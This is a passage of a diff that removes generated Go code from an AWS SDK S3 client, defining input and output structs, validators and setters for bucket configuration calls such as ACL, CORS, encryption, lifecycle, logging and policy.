bool) *PublicAccessBlockConfiguration { - s.RestrictPublicBuckets = &v - return s -} - -type PutBucketAccelerateConfigurationInput struct { - _ struct{} `type:"structure" payload:"AccelerateConfiguration"` - - // Specifies the Accelerate Configuration you want to set for the bucket. - // - // AccelerateConfiguration is a required field - AccelerateConfiguration *AccelerateConfiguration `locationName:"AccelerateConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - // Name of the bucket for which the accelerate configuration is set. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s PutBucketAccelerateConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketAccelerateConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketAccelerateConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketAccelerateConfigurationInput"} - if s.AccelerateConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("AccelerateConfiguration")) - } - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAccelerateConfiguration sets the AccelerateConfiguration field's value. -func (s *PutBucketAccelerateConfigurationInput) SetAccelerateConfiguration(v *AccelerateConfiguration) *PutBucketAccelerateConfigurationInput { - s.AccelerateConfiguration = v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketAccelerateConfigurationInput) SetBucket(v string) *PutBucketAccelerateConfigurationInput { - s.Bucket = &v - return s -} - -func (s *PutBucketAccelerateConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type PutBucketAccelerateConfigurationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketAccelerateConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketAccelerateConfigurationOutput) GoString() string { - return s.String() -} - -type PutBucketAclInput struct { - _ struct{} `type:"structure" payload:"AccessControlPolicy"` - - // The canned ACL to apply to the bucket. - ACL *string `location:"header" locationName:"x-amz-acl" type:"string" enum:"BucketCannedACL"` - - AccessControlPolicy *AccessControlPolicy `locationName:"AccessControlPolicy" type:"structure" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Allows grantee the read, write, read ACP, and write ACP permissions on the - // bucket. - GrantFullControl *string `location:"header" locationName:"x-amz-grant-full-control" type:"string"` - - // Allows grantee to list the objects in the bucket. - GrantRead *string `location:"header" locationName:"x-amz-grant-read" type:"string"` - - // Allows grantee to read the bucket ACL. - GrantReadACP *string `location:"header" locationName:"x-amz-grant-read-acp" type:"string"` - - // Allows grantee to create, overwrite, and delete any object in the bucket. - GrantWrite *string `location:"header" locationName:"x-amz-grant-write" type:"string"` - - // Allows grantee to write the ACL for the applicable bucket. - GrantWriteACP *string `location:"header" locationName:"x-amz-grant-write-acp" type:"string"` -} - -// String returns the string representation -func (s PutBucketAclInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketAclInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketAclInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketAclInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.AccessControlPolicy != nil { - if err := s.AccessControlPolicy.Validate(); err != nil { - invalidParams.AddNested("AccessControlPolicy", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetACL sets the ACL field's value. -func (s *PutBucketAclInput) SetACL(v string) *PutBucketAclInput { - s.ACL = &v - return s -} - -// SetAccessControlPolicy sets the AccessControlPolicy field's value. -func (s *PutBucketAclInput) SetAccessControlPolicy(v *AccessControlPolicy) *PutBucketAclInput { - s.AccessControlPolicy = v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketAclInput) SetBucket(v string) *PutBucketAclInput { - s.Bucket = &v - return s -} - -func (s *PutBucketAclInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetGrantFullControl sets the GrantFullControl field's value. -func (s *PutBucketAclInput) SetGrantFullControl(v string) *PutBucketAclInput { - s.GrantFullControl = &v - return s -} - -// SetGrantRead sets the GrantRead field's value. -func (s *PutBucketAclInput) SetGrantRead(v string) *PutBucketAclInput { - s.GrantRead = &v - return s -} - -// SetGrantReadACP sets the GrantReadACP field's value. -func (s *PutBucketAclInput) SetGrantReadACP(v string) *PutBucketAclInput { - s.GrantReadACP = &v - return s -} - -// SetGrantWrite sets the GrantWrite field's value. -func (s *PutBucketAclInput) SetGrantWrite(v string) *PutBucketAclInput { - s.GrantWrite = &v - return s -} - -// SetGrantWriteACP sets the GrantWriteACP field's value. -func (s *PutBucketAclInput) SetGrantWriteACP(v string) *PutBucketAclInput { - s.GrantWriteACP = &v - return s -} - -type PutBucketAclOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketAclOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketAclOutput) GoString() string { - return s.String() -} - -type PutBucketAnalyticsConfigurationInput struct { - _ struct{} `type:"structure" payload:"AnalyticsConfiguration"` - - // The configuration and any analyses for the analytics filter. - // - // AnalyticsConfiguration is a required field - AnalyticsConfiguration *AnalyticsConfiguration `locationName:"AnalyticsConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - // The name of the bucket to which an analytics configuration is stored. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The identifier used to represent an analytics configuration. - // - // Id is a required field - Id *string `location:"querystring" locationName:"id" type:"string" required:"true"` -} - -// String returns the string representation -func (s PutBucketAnalyticsConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketAnalyticsConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketAnalyticsConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketAnalyticsConfigurationInput"} - if s.AnalyticsConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("AnalyticsConfiguration")) - } - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - if s.AnalyticsConfiguration != nil { - if err := s.AnalyticsConfiguration.Validate(); err != nil { - invalidParams.AddNested("AnalyticsConfiguration", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAnalyticsConfiguration sets the AnalyticsConfiguration field's value. -func (s *PutBucketAnalyticsConfigurationInput) SetAnalyticsConfiguration(v *AnalyticsConfiguration) *PutBucketAnalyticsConfigurationInput { - s.AnalyticsConfiguration = v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketAnalyticsConfigurationInput) SetBucket(v string) *PutBucketAnalyticsConfigurationInput { - s.Bucket = &v - return s -} - -func (s *PutBucketAnalyticsConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetId sets the Id field's value. -func (s *PutBucketAnalyticsConfigurationInput) SetId(v string) *PutBucketAnalyticsConfigurationInput { - s.Id = &v - return s -} - -type PutBucketAnalyticsConfigurationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketAnalyticsConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketAnalyticsConfigurationOutput) GoString() string { - return s.String() -} - -type PutBucketCorsInput struct { - _ struct{} `type:"structure" payload:"CORSConfiguration"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // CORSConfiguration is a required field - CORSConfiguration *CORSConfiguration `locationName:"CORSConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketCorsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketCorsInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketCorsInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketCorsInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.CORSConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("CORSConfiguration")) - } - if s.CORSConfiguration != nil { - if err := s.CORSConfiguration.Validate(); err != nil { - invalidParams.AddNested("CORSConfiguration", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketCorsInput) SetBucket(v string) *PutBucketCorsInput { - s.Bucket = &v - return s -} - -func (s *PutBucketCorsInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetCORSConfiguration sets the CORSConfiguration field's value. -func (s *PutBucketCorsInput) SetCORSConfiguration(v *CORSConfiguration) *PutBucketCorsInput { - s.CORSConfiguration = v - return s -} - -type PutBucketCorsOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketCorsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketCorsOutput) GoString() string { - return s.String() -} - -type PutBucketEncryptionInput struct { - _ struct{} `type:"structure" payload:"ServerSideEncryptionConfiguration"` - - // The name of the bucket for which the server-side encryption configuration - // is set. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Container for server-side encryption configuration rules. Currently S3 supports - // one rule only. - // - // ServerSideEncryptionConfiguration is a required field - ServerSideEncryptionConfiguration *ServerSideEncryptionConfiguration `locationName:"ServerSideEncryptionConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketEncryptionInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketEncryptionInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketEncryptionInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketEncryptionInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.ServerSideEncryptionConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("ServerSideEncryptionConfiguration")) - } - if s.ServerSideEncryptionConfiguration != nil { - if err := s.ServerSideEncryptionConfiguration.Validate(); err != nil { - invalidParams.AddNested("ServerSideEncryptionConfiguration", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketEncryptionInput) SetBucket(v string) *PutBucketEncryptionInput { - s.Bucket = &v - return s -} - -func (s *PutBucketEncryptionInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetServerSideEncryptionConfiguration sets the ServerSideEncryptionConfiguration field's value. -func (s *PutBucketEncryptionInput) SetServerSideEncryptionConfiguration(v *ServerSideEncryptionConfiguration) *PutBucketEncryptionInput { - s.ServerSideEncryptionConfiguration = v - return s -} - -type PutBucketEncryptionOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketEncryptionOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketEncryptionOutput) GoString() string { - return s.String() -} - -type PutBucketInventoryConfigurationInput struct { - _ struct{} `type:"structure" payload:"InventoryConfiguration"` - - // The name of the bucket where the inventory configuration will be stored. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The ID used to identify the inventory configuration. - // - // Id is a required field - Id *string `location:"querystring" locationName:"id" type:"string" required:"true"` - - // Specifies the inventory configuration. - // - // InventoryConfiguration is a required field - InventoryConfiguration *InventoryConfiguration `locationName:"InventoryConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketInventoryConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketInventoryConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketInventoryConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketInventoryConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - if s.InventoryConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("InventoryConfiguration")) - } - if s.InventoryConfiguration != nil { - if err := s.InventoryConfiguration.Validate(); err != nil { - invalidParams.AddNested("InventoryConfiguration", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketInventoryConfigurationInput) SetBucket(v string) *PutBucketInventoryConfigurationInput { - s.Bucket = &v - return s -} - -func (s *PutBucketInventoryConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetId sets the Id field's value. -func (s *PutBucketInventoryConfigurationInput) SetId(v string) *PutBucketInventoryConfigurationInput { - s.Id = &v - return s -} - -// SetInventoryConfiguration sets the InventoryConfiguration field's value. -func (s *PutBucketInventoryConfigurationInput) SetInventoryConfiguration(v *InventoryConfiguration) *PutBucketInventoryConfigurationInput { - s.InventoryConfiguration = v - return s -} - -type PutBucketInventoryConfigurationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketInventoryConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketInventoryConfigurationOutput) GoString() string { - return s.String() -} - -type PutBucketLifecycleConfigurationInput struct { - _ struct{} `type:"structure" payload:"LifecycleConfiguration"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - LifecycleConfiguration *BucketLifecycleConfiguration `locationName:"LifecycleConfiguration" type:"structure" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketLifecycleConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketLifecycleConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketLifecycleConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketLifecycleConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.LifecycleConfiguration != nil { - if err := s.LifecycleConfiguration.Validate(); err != nil { - invalidParams.AddNested("LifecycleConfiguration", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketLifecycleConfigurationInput) SetBucket(v string) *PutBucketLifecycleConfigurationInput { - s.Bucket = &v - return s -} - -func (s *PutBucketLifecycleConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetLifecycleConfiguration sets the LifecycleConfiguration field's value. -func (s *PutBucketLifecycleConfigurationInput) SetLifecycleConfiguration(v *BucketLifecycleConfiguration) *PutBucketLifecycleConfigurationInput { - s.LifecycleConfiguration = v - return s -} - -type PutBucketLifecycleConfigurationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketLifecycleConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketLifecycleConfigurationOutput) GoString() string { - return s.String() -} - -type PutBucketLifecycleInput struct { - _ struct{} `type:"structure" payload:"LifecycleConfiguration"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - LifecycleConfiguration *LifecycleConfiguration `locationName:"LifecycleConfiguration" type:"structure" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketLifecycleInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketLifecycleInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketLifecycleInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketLifecycleInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.LifecycleConfiguration != nil { - if err := s.LifecycleConfiguration.Validate(); err != nil { - invalidParams.AddNested("LifecycleConfiguration", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketLifecycleInput) SetBucket(v string) *PutBucketLifecycleInput { - s.Bucket = &v - return s -} - -func (s *PutBucketLifecycleInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetLifecycleConfiguration sets the LifecycleConfiguration field's value. -func (s *PutBucketLifecycleInput) SetLifecycleConfiguration(v *LifecycleConfiguration) *PutBucketLifecycleInput { - s.LifecycleConfiguration = v - return s -} - -type PutBucketLifecycleOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketLifecycleOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketLifecycleOutput) GoString() string { - return s.String() -} - -type PutBucketLoggingInput struct { - _ struct{} `type:"structure" payload:"BucketLoggingStatus"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // BucketLoggingStatus is a required field - BucketLoggingStatus *BucketLoggingStatus `locationName:"BucketLoggingStatus" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketLoggingInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketLoggingInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketLoggingInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketLoggingInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.BucketLoggingStatus == nil { - invalidParams.Add(request.NewErrParamRequired("BucketLoggingStatus")) - } - if s.BucketLoggingStatus != nil { - if err := s.BucketLoggingStatus.Validate(); err != nil { - invalidParams.AddNested("BucketLoggingStatus", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketLoggingInput) SetBucket(v string) *PutBucketLoggingInput { - s.Bucket = &v - return s -} - -func (s *PutBucketLoggingInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetBucketLoggingStatus sets the BucketLoggingStatus field's value. -func (s *PutBucketLoggingInput) SetBucketLoggingStatus(v *BucketLoggingStatus) *PutBucketLoggingInput { - s.BucketLoggingStatus = v - return s -} - -type PutBucketLoggingOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketLoggingOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketLoggingOutput) GoString() string { - return s.String() -} - -type PutBucketMetricsConfigurationInput struct { - _ struct{} `type:"structure" payload:"MetricsConfiguration"` - - // The name of the bucket for which the metrics configuration is set. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The ID used to identify the metrics configuration. - // - // Id is a required field - Id *string `location:"querystring" locationName:"id" type:"string" required:"true"` - - // Specifies the metrics configuration. - // - // MetricsConfiguration is a required field - MetricsConfiguration *MetricsConfiguration `locationName:"MetricsConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketMetricsConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketMetricsConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketMetricsConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketMetricsConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - if s.MetricsConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("MetricsConfiguration")) - } - if s.MetricsConfiguration != nil { - if err := s.MetricsConfiguration.Validate(); err != nil { - invalidParams.AddNested("MetricsConfiguration", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketMetricsConfigurationInput) SetBucket(v string) *PutBucketMetricsConfigurationInput { - s.Bucket = &v - return s -} - -func (s *PutBucketMetricsConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetId sets the Id field's value. -func (s *PutBucketMetricsConfigurationInput) SetId(v string) *PutBucketMetricsConfigurationInput { - s.Id = &v - return s -} - -// SetMetricsConfiguration sets the MetricsConfiguration field's value. -func (s *PutBucketMetricsConfigurationInput) SetMetricsConfiguration(v *MetricsConfiguration) *PutBucketMetricsConfigurationInput { - s.MetricsConfiguration = v - return s -} - -type PutBucketMetricsConfigurationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketMetricsConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketMetricsConfigurationOutput) GoString() string { - return s.String() -} - -type PutBucketNotificationConfigurationInput struct { - _ struct{} `type:"structure" payload:"NotificationConfiguration"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // A container for specifying the notification configuration of the bucket. - // If this element is empty, notifications are turned off for the bucket. - // - // NotificationConfiguration is a required field - NotificationConfiguration *NotificationConfiguration `locationName:"NotificationConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketNotificationConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketNotificationConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketNotificationConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketNotificationConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.NotificationConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("NotificationConfiguration")) - } - if s.NotificationConfiguration != nil { - if err := s.NotificationConfiguration.Validate(); err != nil { - invalidParams.AddNested("NotificationConfiguration", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketNotificationConfigurationInput) SetBucket(v string) *PutBucketNotificationConfigurationInput { - s.Bucket = &v - return s -} - -func (s *PutBucketNotificationConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetNotificationConfiguration sets the NotificationConfiguration field's value. -func (s *PutBucketNotificationConfigurationInput) SetNotificationConfiguration(v *NotificationConfiguration) *PutBucketNotificationConfigurationInput { - s.NotificationConfiguration = v - return s -} - -type PutBucketNotificationConfigurationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketNotificationConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketNotificationConfigurationOutput) GoString() string { - return s.String() -} - -type PutBucketNotificationInput struct { - _ struct{} `type:"structure" payload:"NotificationConfiguration"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // NotificationConfiguration is a required field - NotificationConfiguration *NotificationConfigurationDeprecated `locationName:"NotificationConfiguration" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` -} - -// String returns the string representation -func (s PutBucketNotificationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketNotificationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketNotificationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketNotificationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.NotificationConfiguration == nil { - invalidParams.Add(request.NewErrParamRequired("NotificationConfiguration")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketNotificationInput) SetBucket(v string) *PutBucketNotificationInput { - s.Bucket = &v - return s -} - -func (s *PutBucketNotificationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetNotificationConfiguration sets the NotificationConfiguration field's value. -func (s *PutBucketNotificationInput) SetNotificationConfiguration(v *NotificationConfigurationDeprecated) *PutBucketNotificationInput { - s.NotificationConfiguration = v - return s -} - -type PutBucketNotificationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketNotificationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketNotificationOutput) GoString() string { - return s.String() -} - -type PutBucketPolicyInput struct { - _ struct{} `type:"structure" payload:"Policy"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Set this parameter to true to confirm that you want to remove your permissions - // to change this bucket policy in the future. - ConfirmRemoveSelfBucketAccess *bool `location:"header" locationName:"x-amz-confirm-remove-self-bucket-access" type:"boolean"` - - // The bucket policy as a JSON document. - // - // Policy is a required field - Policy *string `type:"string" required:"true"` -} - -// String returns the string representation -func (s PutBucketPolicyInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketPolicyInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *PutBucketPolicyInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "PutBucketPolicyInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Policy == nil { - invalidParams.Add(request.NewErrParamRequired("Policy")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *PutBucketPolicyInput) SetBucket(v string) *PutBucketPolicyInput { - s.Bucket = &v - return s -} - -func (s *PutBucketPolicyInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetConfirmRemoveSelfBucketAccess sets the ConfirmRemoveSelfBucketAccess field's value. -func (s *PutBucketPolicyInput) SetConfirmRemoveSelfBucketAccess(v bool) *PutBucketPolicyInput { - s.ConfirmRemoveSelfBucketAccess = &v - return s -} - -// SetPolicy sets the Policy field's value. -func (s *PutBucketPolicyInput) SetPolicy(v string) *PutBucketPolicyInput { - s.Policy = &v - return s -} - -type PutBucketPolicyOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s PutBucketPolicyOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PutBucketPolicyOutput) GoString() string { - return s.String() -} - -type PutBucketReplicationInput struct { - _ struct{} `type:"structure" payload:"ReplicationConfiguration"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // A container for replication rules. You can add up to 1,000 rules. The maximum - // size of a replication configuration is 2 MB. - // - // ReplicationConfiguration is a required field - ReplicationConfiguration *ReplicationConfiguration 